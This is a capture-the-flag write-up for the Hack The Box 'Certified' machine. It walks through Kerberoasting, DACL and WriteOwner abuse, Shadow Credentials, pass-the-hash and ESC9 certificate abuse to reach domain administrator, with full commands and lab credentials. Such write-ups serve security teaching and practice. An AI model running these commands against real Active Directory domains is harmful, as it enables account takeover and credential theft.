TL;DR
This box focuses on Red Teaming with a deep dive into post-exploitation on AD CS within a Windows environment. Rather than a straightforward takedown, this challenge hones in on AD exploitation techniques.
For the Pass-the-Certificate attack, we can leverage either certipy-ad
, as discussed in the Mist writeup, or delve into the PKINITtools
kit below. Both tools serve similar purposes in achieving certificate-based attacks.
SCAN
Nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-03 14:44:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:46:40+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:46:39+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-03T14:46:40+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-03T14:46:39+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49729/tcp open msrpc Microsoft Windows RPC
50784/tcp open msrpc Microsoft Windows RPC
- Kerberos (Port 88): Since this is a Windows machine, Active Directory Kerberos authentication is likely enabled. We should look into Kerberos-related attacks (For example, using
Impacket-GetNPUsers
to enumerate AS-REP hashes, if feasible). - LDAP (Ports 389, 636, 3268, 3269): LDAP might expose useful information, such as domain policies, groups, and possibly password policies. We can use
ldapsearch
orImpacket-ldapdomaindump
to map out the LDAP structure and gather information aboutcertified.htb
. - RPC (Ports 135, 593, and various 496xx/507xx): RPC services, particularly on a domain controller, can be an entry point for attacks like remote SAM dump, querying user details, or accessing registry information.
- HTTP (Port 5985): The open HTTP port hints at WinRM access. If valid credentials work, this may enable a direct shell using Evil-WinRM or
CrackMapExec(no longer maintained) Netexec.
Creds
The platform offers a test account:
judith.mader:judith09

- Validating Access with
judith.mader
: Start by testing thejudith.mader
account for various services, beginning with SMB (port 445) and WinRM (port 5985). Verifying this account’s privileges will also reveal the user’s access level and potentially expand our options for privilege escalation. - Kerberoasting & AS-REP Roasting: If the
judith.mader
account can list SPNs (Service Principal Names), Kerberoasting might be an option. Check if any accounts are configured with “Do not require Kerberos preauthentication” for AS-REP roasting.
But this account does not grant us remote logon privilege:

Kerberoasting
Impacket | GetUserSPNs
GetUserSPNs.py
is part of Impacket’s suite, specifically designed to list and request Service Principal Names (SPNs) associated with accounts in Active Directory. This technique is commonly known as Kerberoasting and targets accounts that have an SPN registered, typically service accounts.
Using a valid account (judith
) within the domain (certified.htb
), we can authenticate to request information directly from the domain controller:
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip ${ip} -request
-request
: This flag tellsGetUserSPNs.py
not only to list accounts ith SPNs but to request a Kerberos Ticket Granting Service (TGS) ticket for each service account it finds.

However, the KRB_AP_ERR_SKEW (Clock skew too great)
error usually indicates that the time difference between our attacking machine and the domain controller (DC) is too large for Kerberos authentication. Kerberos is sensitive to time discrepancies, and typically, clocks need to be synchronized within a few minutes (usually within 5 minutes) for successful authentication.
Faketime
In pentesting, several tools can serve this purpose, such as Ntpdate
and Htpdate (a personal favorite). Here, we’ll introduce a professional option: Faketime. This tool temporarily adjusts system time for specific applications—a handy feature, especially in cases like Kerberos authentication where clock skew can cause issues.
Install Faketime
Project on Github: link.
git clone https://github.com/wolfcw/libfaketime.git
cd libfaketime
# install under /usr/local, require root priv
sudo make
sudo make install
# Or, install under specific path
PREFIX=/path/to/install/destination make
PREFIX=/path/to/install/destination make install
Basic Usage
Absolute Time
To use faketime
, specify the desired timestamp and the program with arguments:
faketime '<timestamp>' <program>
Date format: "YYYY-MM-DD hh:mm:ss"
.
For example:
faketime '2025-01-01 12:00:00' /bin/date

Offset Time
faketime -f '+2,5y x10,0' /bin/bash -c 'date; while true; do echo $SECONDS ; sleep 1 ; done'
-f
: Use advanced timestamp format+2,5y
adds 2.5 yearsx10,0
speeds up the clock by 10x
Freeze Time
faketime -f '+2,5y x0,50' /bin/bash -c 'date; while true; do echo $SECONDS ; sleep 1 ; done'
- Freezes time at 2.5 years into the future
x0
means no time progression
Faketime| GetUserSPNs
To determine the correct time offset between our machine and the domain controller (DC), we can use ntpdate
to quickly check the time difference:

Therefore, we can now use GetUserSPNs
along with faketime
, by the command:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip ${ip} -request
Now we get it:

The output we've received is a Kerberoasting hash for the management_svc
service account on the certified.htb
domain.
For the hash $krb5tgs$23$...
, we can use Hashcat mode 13100
to crack it. Unfortunately, this is uncrackable with the rockyou
wordlist, which implies it could not be the intended way.
RID Brute
In Active Directory and SMB environments, RID brute-forcing works by incrementing RIDs (Relative Identifiers) to identify users and groups associated with the domain. Each user and group is assigned a unique RID, starting from a known base RID (usually 500
for the Administrator account). The exploit will attempt to enumerate:
- User Accounts: By enumerating RIDs that typically fall in the range assigned to user accounts.
- Group Accounts: By enumerating RIDs associated with domain groups.
This process can reveal user and group names, even if the account has limited permissions, which is particularly helpful for further reconnaissance or privilege escalation.
In the past, we used Crackmapexec. Unfortunately, this powerful tool is no longer maintained, which sometimes caused me troubles. Here, I recommend a new and well developed replacement, Netexec:
netexec smb certified.htb -u judith.mader -p judith09 --rid-brute

- Important Groups:
- Domain Admins (RID 512): Members of this group have high privileges on the domain.
- Enterprise Admins (RID 519) and Schema Admins (RID 518): These groups have even broader privileges across the Active Directory forest.
- DnsAdmins (RID 1101): Members of this group can manage DNS settings and potentially escalate privileges if DNS is misconfigured.
- Key Admins (RID 526) and Enterprise Key Admins (RID 527): These are involved in key management, which can be critical for domain security.
- Users of Interest:
- management_svc (RID 1105): This is the service account associated with the SPN we already found for
Kerberoasting
. - ca_operator (RID 1106): This user might have privileges related to managing certificate services (Certificate Authority), which could be useful if Active Directory Certificate Services (AD CS) is installed.
- Domain Users like
alexander.huges
,harry.wilson
, andgregory.cameron
: Regular users might still have privileges or access to specific resources.
- management_svc (RID 1105): This is the service account associated with the SPN we already found for
Potentially, DnsAdmins and ca_operator accounts could lead to privilege escalation paths if they have higher privileges or manage sensitive services.
BloodHound 1
BloodHound.py
There are various ways to collect Domain information with BloodHound, a powerful Active Directory (AD) analysis tool used to map attack paths in AD environments. Instead running SharpHound
inside a Windows target locally (since we cannot Winrm logon as user Judith), we can also remotely collect via BloodHound.py
(aka bloodhound-python
).
Project on Github: link.
Use faketime
to synchronize date and specify the IP of DC, with valid credentials:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
bloodhound-python -d certified.htb -c All -ns ${ip} --zip -u judith.mader -p judith09 --use-ldap

Load the ZIP file via BloodHound locally:

Attack Paths
- Starting Point:
[email protected]
- This is the initial access point. The user has some level of access or ownership over another account,
[email protected]
.
- This is the initial access point. The user has some level of access or ownership over another account,
- Privilege Escalation Path:
- WriteOwner permission from
[email protected]
to[email protected]
:WriteOwner
means thatjudith.mader
can potentially take ownership ofmanagement
’s account. This allows for a potential escalation to[email protected]
.
- GenericWrite permission on
[email protected]
:[email protected]
hasGenericWrite
permission over theMANAGEMENT_SVC
account.GenericWrite
permission typically allows an attacker to modify the account’s properties, including the password or login script. We could modify this to gain control overMANAGEMENT_SVC
.
- CanPSRemote to
DC01.CERTIFIED.HTB
:- MANAGEMENT_SVC has CanPSRemote permission to DC01, the domain controller. This permission allows management_svc to initiate a PowerShell Remoting (PS Session) to domain controller, giving us direct access to the DC if we obtain management_svc credentials.
- WriteOwner permission from
- DC Sync Rights:
- The
DC01
domain controller has a connection labeledDCSync
withCERTIFIED.HTB
. This means that an account with privileges onDC01
may be able to perform a DCSync attack, which is used to replicate sensitive account data, including NTLM hashes for privileged accounts likeAdministrator
.
- The
WriteOwner
In Active Directory, objects like users and groups are protected by Discretionary Access Control Lists (DACLs). These DACLs contain Access Control Entries (ACEs) that define what each user or group can do with the object, such as reading or modifying it.
The WriteOwner permission is a special ACE that lets a user change the ownership of an object. If the WriteOwner permission granted on an object, we can change the owner of that object to ourselves or another account we control. Once compromised, we gain full control over the object, allowing us to:
- Modify permissions to grant ourselves additional privileges.
- Change sensitive properties like resetting the account's password.
In an attack scenario, an attacker with WriteOwner on a user account (such as a privileged account) can take ownership of that account, reset its password, and effectively take over the account to escalate privileges.
Step 1 | Set Ownership
Setting ownership with BloodyAD:
bloodyAD --host ${ip} -d "certified.htb" -u "judith.mader" -p "judith09" set owner Management judith.mader
set owner Management judith.mader
: Changes the owner of theManagement
group tojudith.mader
.
As we can see, old owner Domain Admins (RID 512) is now replaced to us as Judith:

Step 2 | WriteMember DACL
After we are owner of that group, we can modify the DACL to gain Write permissions with Impacket dacledit.py
, which is a script used to modify DACL permissions on Active Directory objects.
Now we need to modfiy the DACL of the Management
group to give judith.mader
WriteMembers permissions. This permission allows judith.mader
to add or remove members in the Management
group:
dacledit.py 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
-action write
: Specifies that we want to perform a write action on the DACL.-rights WriteMembers
: Grants theWriteMembers
right tojudith.mader
, allowing her to modify group membership.-principal 'judith.mader'
: Indicates that the permissions will be granted tojudith.mader
.-target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
: Specifies the Distinguished Name (DN) of the target object, which is theManagement
group in this case.

This step effectively allows us (Judith) to be granted with any privileges or access rights associated with the Management
group.
Step 3 | Add Group
Since judith.mader
has WriteMembers permission on the Management
group, now we can Add judith.mader
to the Management
Group with net rpc
, which is a command-line tool that interacts with Windows machines over SMB and can be used to manage groups and users.
net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'
- Specifies the action to add (
addmem
)judith.mader
to theManagement
group.
These commands collectively allow judith.mader
to escalate privileges by manipulating DACLs and group memberships in Active Directory. This is a common technique in Active Directory attacks, where control over group memberships can lead to access to sensitive resources or even domain-wide control if the right groups are targeted.
GenericWrite
As a member of [email protected]
, with GenericWrite
permissions over the MANAGEMENT_SVC
account, we can modify this account’s properties, such as its password or login script.
Step 1 | Shadow Credentials
Abuse GenericWrite with Shadow Credentials using pywhisker, which is a tool that automates creating and managing Shadow Credentials in Active Directory. Shadow Credentials are a way to add alternative credentials (e.g., certificates) for an account, allowing us to authenticate as that account without knowing the password:
python3 pywhisker.py -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action add
--target "management_svc"
: Targets themanagement_svc
account for the Shadow Credentials.--action "add"
: Adds a new certificate-based credential (ShadowCred) formanagement_svc
.
By abusing GenericWrite permissions, we addded a certificate to the management_svc
account as an alternative authentication method. This certificate can then be used to request a Kerberos TGT as management_svc
, giving control over that account:

Step 2 | Get TGT
With the generated Shadow Credential certificate, we can now authenticate as management_svc
to obtain a TGT, enabling access to services as management_svc
. Using gettgtpkinit.py
, we leverage PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) to request this Ticket Granting Ticket (TGT), ensuring a synchronized timestamp:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx $generated_pfx -pfx-pass $cert_passwd management_svc.ccache

Step 3 | Extract NT Hash
Extract NT Hash for management_svc
using getnthash.py
from the PKINITtools kit:
export KRB5CCNAME=management_svc.ccache &&
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
python3 getnthash.py certified.htb/management_svc -key $key
-key
: The session key obtained from the previous TGT authentication step.

Extracted NT Hash:
a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
By obtaining the NT hash of management_svc
, we can use Pass-The-Hash techniques for NTLM authentication as management_svc
without needing the plaintext password:

And we can retrieve user flag under desktop
directory.
BloodHound 2
Run BloodHound again to collect domain information again, but in the perspective of management_svc
with its NT Hash:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
bloodhound-python -d certified.htb -c All -ns ${ip} --zip -u management_svc --hash :a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ --use-ldap
Check Outbound Object Control, we discover it has GenericAll privilege on ca_operator
account:

We’re unable to request additional information from BloodHound, suggesting this might be a highly privileged account.
GenericAll
With GenericAll
permissions on this account, we have multiple ways to compromise it. The most straightforward approach is to overwrite its password using Set-ADAccountPassword
:
Set-ADAccountPassword -Identity "ca_operator" -NewPassword (ConvertTo-SecureString -AsPlainText "axuraP@ssw0rd" -Force) -Reset
We can verify the result via SMB module in Netexec:

BloodHound x Certipy
From the name of the newly compromised account ca_operator
, we can assume it's AD CS related. We can use Certipy, a tool designed for Active Directory Certificate Services (AD CS) exploitation. The methodology of combining BloodHound and Certipy can be referred from this article.
As a start, we can use the find
command in Certipy scans for misconfigurations or exploitable issues related to certificates in the Active Directory environment:
certipy-ad find -u '[email protected]' -p 'axuraP@ssw0rd' -dc-ip ${ip} -old-bloodhound
-old-bloodhound
: this option must be flagged, as the new BloodHound data output from Certipy is only compatible with the forked GUI.

Now we can have the AD CS view in BloodHound:

- [email protected]:
- This appears to represent a sensitive object or account in the
CERTIFIED.HTB
domain, potentially a service account or key domain account that handles authentication or other privileged operations.
- This appears to represent a sensitive object or account in the
- SID Ending in
-1106
(ca_operator
):- This node is identified as the
ca_operator
account with SID ending-1106
, which we found in in RID Brute forcing. - AutoEnroll Permission: The
AutoEnroll
permission allowsca_operator
to automatically enroll in certificates. This is a common permission for accounts handling certificate services, enabling them to request or renew certificates without manual intervention.
- This node is identified as the
- Other SIDs with WriteProperty Permissions:
- SID
-512
: This is the Domain Admins group inCERTIFIED.HTB
. - SID
-519
: This is the Enterprise Admins group. - SID
-500
: This represents the Administrator account for the domain. - These nodes have WriteProperty permissions over
[email protected]
, meaning they can modify certain attributes on this object.
- SID

- AutoEnroll allows
ca_operator
to automatically request certificates, which could be leveraged in attacks involving certificate-based authentication or AD CS privilege escalation. - Certificate-Based Attack Path: If
[email protected]
is a highly privileged account,ca_operator
could potentially use certificates to authenticate as this account, leveraging its AutoEnroll permission for privilege escalation.
It seems my BloodHound version isn't providing enough detail. However, with this primitive, we can search the JSON output from certipy-ad
for specific templates:
certipy-ad find -u '[email protected]' -p 'axuraP@ssw0rd' -dc-ip ${ip}
Revealing ESC 9 vulnerability:

Full CertifiedAuthentication
template:
"Certificate Templates": {
"0": {
"Template Name": "CertifiedAuthentication",
"Display Name": "Certified Authentication",
"Certificate Authorities": [
"certified-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
"SubjectRequireDirectoryPath",
"SubjectAltRequireUpn"
],
"Enrollment Flag": [
"NoSecurityExtension",
"AutoEnrollment",
"PublishToDs"
],
"Private Key Flag": [
"16842752"
],
"Extended Key Usage": [
"Server Authentication",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1000 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CERTIFIED.HTB\\operator ca",
"CERTIFIED.HTB\\Domain Admins",
"CERTIFIED.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "CERTIFIED.HTB\\Administrator",
"Write Owner Principals": [
"CERTIFIED.HTB\\Domain Admins",
"CERTIFIED.HTB\\Enterprise Admins",
"CERTIFIED.HTB\\Administrator"
],
"Write Dacl Principals": [
"CERTIFIED.HTB\\Domain Admins",
"CERTIFIED.HTB\\Enterprise Admins",
"CERTIFIED.HTB\\Administrator"
],
"Write Property Principals": [
"CERTIFIED.HTB\\Domain Admins",
"CERTIFIED.HTB\\Enterprise Admins",
"CERTIFIED.HTB\\Administrator"
]
}
},
"[!] Vulnerabilities": {
"ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
}
}
ESC9
In the context ESC9 which refers to a vulnerability involving certificate template misconfigurations that can be exploited to escalate privileges. Specifically, ESC9 is one of the AD CS misconfiguration attack vectors (ESC1 through ESC10) that allow attackers to abuse certificate services for privilege escalation. It's introduced in this link and more details in this article.
In our scenario, user management_svc has GenericAll
against user ca_operator and wants to compromise user Administrator. User ca_operator is allowed to enroll in a vulnerable template CertifiedAuthentication
that specifies the CT_FLAG_NO_SECURITY_EXTENSION
flag in the msPKI-Enrollment-Flag
value.
First, the hash of user ca_operator is required. Since we have GenericAll on ca_operator
, it can be retrieved via a Shadow Credentials attack like we did using Pywhisker earlier, or with the Certipy shadow
command:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
certipy-ad shadow auto -username "[email protected]" -hashes a091c1832bcdd46▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -account ca_operator

Extracted NT Hash for ca_operator
(This is dynamic):
b4b86f45c6018f1b664f70805f45d8f2
Then, we need to change the userPrincipalName
of ca_operator
to our target Administrator
, since management_svc
has GenericAll priv on ca_operator:
certipy-ad account update -username "[email protected]" -hashes a091c1832bcdd4▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -user ca_operator -upn Administrator -debug

This is NOT a constraint violation, since the Administrator
user’s userPrincipalName
is [email protected]
and not Administrator
.
Now, the vulnerable certificate CertifiedAuthentication
can be requested as user ca_operator with her NT Hash retrieved earlier:
certipy-ad req -username '[email protected]' -hashes 'b4b86f45c6018f1b664f70805f45d8f2' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug

Notice that the userPrincipalName
in the certificate is Administrator
, and that the issued certificate contains no “object SID”.
After requesting the template to obtain a forged private key, we need to restore the UPN of the user ca_operator, like her original userPrincipalName
(or whatever):
certipy-ad account update -username "[email protected]" -hashes a091c1832bcdd4677c▒▒▒▒▒▒▒▒▒▒▒▒▒▒ -user ca_operator -upn "[email protected]"

Now, if we try to authenticate with the obtained certificate & private key, it will provide the NT hash of user [email protected]
during UnPac the hash. The domain must be specified since it is not present in the certificate we forged:
faketime "$(ntpdate -q ${ip} | cut -d ' ' -f 1,2)" \
certipy-ad auth -pfx administrator.pfx -domain "certified.htb"

Rooted:

Comments | NOTHING